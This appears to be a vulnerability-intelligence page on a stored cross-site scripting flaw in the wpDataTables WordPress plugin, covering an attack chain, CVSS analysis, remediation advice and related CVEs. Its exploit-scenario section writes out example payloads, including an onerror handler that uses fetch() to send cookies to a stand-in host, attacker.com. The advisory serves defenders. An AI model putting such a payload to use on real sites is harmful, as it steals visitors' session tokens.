Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSocial engineering email with CSV attachment
-
DeliveryAdministrator initiates import via plugin interface
-
ExploitMalicious payload stored in WordPress database
-
ExecutionUser accesses page with infected table
-
PersistJavaScript executes in visitor's browser
-
ImpactSession token or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific, concrete conditions: (1) An Administrator must be socially engineered or tricked into initiating a data import operation via the wpDataTables import interface (Tools > Import Table or equivalent menu). (2) The attacker-controlled data source (CSV, JSON, or other import format) must contain malicious payloads in a field mapped to a Link, Image, or Email column type. (3) The WordPress site must have at least one Link, Image, or Email column configured in an active table. (4) The Administrator must complete the import without manual sanitization or validation of the imported data. Exploitation is NOT possible against sites where: administrators are restricted from import functionality, only non-table-column data is imported, or the plugin's table columns are configured using only Text or Number column types. No exploitation is possible without Administrator action; this is not a remote unauthenticated attack against a default configuration but rather requires social engineering and administrative privilege interaction. |
| Impact | CVSS 4.7 with network vector, high complexity (AC:H), no authentication required (PR:N), and user interaction required (UI:R) presents a nuanced risk profile. The AC:H and UI:R factors are critical: the attack requires both an Administrator to be tricked into importing attacker-supplied data AND requires user interaction at the import step, substantially reducing real-world exploitation likelihood compared to a network vector alone. However, the Scope Change (S:C) indicates confidentiality and integrity impact beyond the vulnerable component. EPSS score not provided, limiting quantitative exploitation probability assessment. The absence of confirmed active exploitation (no CISA KEV listing or public POC) and the requirement for social engineering of an Administrator suggest this is a lower real-world priority than CVSS alone implies. Organizations with strict data import controls or those that do not use the affected column types (Link, Image, Email) face minimal risk. The stored XSS nature means a single successful import compromises all users viewing affected pages, amplifying impact once exploited. Signal conflict: high CVSS but gated by unusual prerequisites (social engineering + admin interaction) suggests defensive rating should weight AC:H and UI:R heavily. |
| Exploit ScenarioDerived | An attacker crafts a CSV file containing malicious JavaScript in a Link, Image, or Email column (e.g., href='javascript:alert(1)' or src='x' onerror='fetch(attacker.com/log?cookie=...'). The attacker tricks a WordPress Administrator via phishing or social engineering into importing this CSV file via the wpDataTables import interface. Once imported and stored in the database, the malicious payload executes in the browsers of all website visitors viewing the table, allowing credential theft, session hijacking, or malware redirection. The stored nature ensures persistence across page reloads and visits by different users. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 20, 2026
Stored Cross-Site Scripting in wpDataTables WordPress plugin (all versions up to 6.5.0.4) allows unauthenticated attackers to inject malicious scripts into data tables via insufficient input sanitization in LinkWDTColumn, ImageWDTColumn, and EmailWDTColumn classes. Exploitation requires an Administrator to import attacker-controlled data with affected column types configured, but once injected, the malicious script executes for all users viewing the infected page. No public exploit code or active exploitation confirmed at time of analysis.
RemediationAI
Immediately update wpDataTables to version 6.5.0.5 or later, which contains input sanitization and output escaping fixes in the prepareCellOutput() method. Update via WordPress dashboard (Plugins > Installed Plugins > wpDataTables > Update) or manually download from https://plugins.wordpress.org/wpdatatables/. As an interim measure pending patch deployment, disable import functionality for non-trusted administrators via WordPress user role restrictions (edit wp-capabilities or use a role management plugin to revoke the manage_wdt_core_data capability from non-trusted editors/administrators). Additionally, review existing data tables and audit imported data sources; if data was imported from untrusted sources prior to patching, export data to CSV, deactivate the plugin, purge the database of infected tables, then re-import only from verified sources after updating. Restrict access to the table import interface to trusted Administrators only. Do not rely on these compensating controls long-term; patch application is mandatory.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the prepareCellOutput() method across three column handler classes in the wpDataTables plugin, which processes user-supplied data for display in WordPress table elements. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) stems from the plugin's failure to properly sanitize data during import and escape output when rendering table cells. The affected column types-Link, Image, and Email-are high-risk because they permit user-controlled HTML/URL content. The vulnerability is stored, meaning the malicious payload persists in the WordPress database after import, ensuring execution on every page view rather than requiring per-request injection. This affects all installations using the free plugin from the WordPress Plugin Directory (CPE identifier: cpe:2.3:a:wpdatatables:wpdatatables_-_wordpress_data_table,_dynamic_tables_&_table_charts_plugin).
Know when Wpdatatables gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The wpDataTables - WordPress Data Table, Dynamic Tables & Table Charts Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 6.5.0.4. This is due to insufficient input sanitization and output escaping in the prepareCellOutput() method of the LinkWDTColumn, ImageWDTColumn, and EmailWDTColumn classes. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, given that they can trick an Administrator into importing data from an attacker-controlled source and the affected column types (Link, Image, or Email) are configured.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Wpdatatables
View allwpDataTables before 3.4.1 mishandles order direction for server-side tables, aka admin-ajax.php?action=get_wdtable order
SQL injection vulnerability in wpdatatables.php in the wpDataTables plugin 1.5.3 and earlier for WordPress allows remote
The wpDataTables WordPress plugin before 2.1.66 does not validate the "Serialized PHP array" input data before deseriali
SQL injection in the wpDataTables WordPress plugin versions 7.3.6 and earlier allows unauthenticated remote attackers to
The wpDataTables - Tables & Table Charts premium WordPress plugin before 3.4.2 has Improper Access Control. Rated high s
The wpDataTables - Tables & Table Charts premium WordPress plugin before 3.4.2 has Improper Access Control. Rated high s
Reflected/stored cross-site scripting in the wpDataTables WordPress plugin (versions 6.5.1.1 and earlier) allows unauthe
Unauthenticated cross-site scripting in wpDataTables WordPress plugin (versions up to and including 7.5.1) allows remote
Unauthenticated Cross-Site Scripting in the wpDataTables WordPress plugin (versions 6.5.1.4 and below) allows a remote,
The wpDataTables - Tables & Table Charts premium WordPress plugin before 3.4.2 allows a low privilege authenticated user
The wpDataTables - Tables & Table Charts premium WordPress plugin before 3.4.2 allows a low privilege authenticated user
The wpDataTables - WordPress Data Table, Dynamic Tables & Table Charts Plugin plugin for WordPress is vulnerable to Refl
EUVD-2026-23981
NVD
CVE.org
EPSS
Vulnrichment
GitHub PoC
Exploit-DB